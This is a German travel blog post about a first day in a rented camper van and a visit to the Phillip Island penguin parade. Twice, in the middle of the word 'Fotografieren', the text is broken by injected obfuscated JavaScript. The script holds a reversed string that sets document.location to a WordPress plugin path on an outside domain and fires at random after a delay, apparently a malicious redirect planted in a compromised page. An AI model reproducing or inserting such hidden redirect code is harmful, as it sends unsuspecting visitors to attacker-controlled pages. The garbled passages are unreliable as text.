Phillip Island – 13.07.2016

Heute ging es raus aus der Wohlfühlzone.

Nach vier Sternen in einem Hotel, dass direkt neben dem Eureka-Tower gelegen ist und direkten Zugang zur noblen Southbank Promenade bietet, haben wir heute unser Wohnmobil abgeholt. Zunächst erst einmal, die Karre ist alt, steinalt und so sieht der Abnutzungsgrad des Interiors auch aus. Daneben haben wir Deutsche und die Australier hier vor Ort wohl eine unterschiedliche Auffassung von „gereinigt“. Alte Kaugummis und leeres Süßigkeitenpapier gehören in den Müll und nicht hinter den Sitz. Anmerkung der Redaktion: Sascha übertreibt gern ein bißchen der Tramaturie halber. Wir haben nicht den ganzen Camper geputzt!

Danach ging es zu Aldi und wir haben den Camper voll aufgerüstet. Von Essen über Trinken, Kosmetik über Putzmittel haben wir nun alles an Bord.

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Die ersten Fahrversuche auf der falschen (linken) Seite sind bis jetzt gut gegangen. Den Blinker hab ich mittlerweile auch gefunden … der befindet sich nämlich auch auf der falschen Seite. Sprich, wenn ich blinken wollte, dann habe ich den Scheibenwischer eingeschaltet.

Nach ca. 1,5h Fahrt haben wir unser zweites Ziel auf der Etappe erreicht: Phillip Island. Bekannteste Attraktion: Pinguin Parade.  Die Zwergpinguine (nur 33 cm groß) wandern jeden Abend vom Wasser in ihre Nester. Verboten: Fotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tografieren, Filmen. Man könnte die Pinguine mit dem Blitz und dem Auslösegeräuschen verschrecken. Naja, ich bin mir nicht sicher, ob die Pinguine da her laufen, um uns (bekoppte Menschen) zu beobachten. Das Ganze war derart kommerzialisiert, dass von Rücksichtnahme auf die Pinguine überhaupt nicht mehr zu sprechen war. Tausende (Anmerkung der Redaktion: hunderte) von Menschen auf hell beleuchteten Wegen und Ranger, die über Mikros Ansprachen an diese richten. Das stört die Pinguine natürlich nicht. Bilder der Pinguine müsst ihr halt googlen, stellvertretetend ein Fotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to vom Parkplatzschild.

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Und dann war da noch das Wetter: Steife Brise von rechts, Regen fast horizontal im Gesicht. All dies führte zu einem „gelungen“ Abschluss des ersten Tags im Wohnmobil. Anmerkung der Redaktion: Sascha war genervt. Ich war müde, aber das ist ja nichts neues.

Morgen wollen wir das nächste Ziel überspringen, da die Wetterlage ähnlich sein soll wie heute. Das bedeutet eine Etappe von 300 km.

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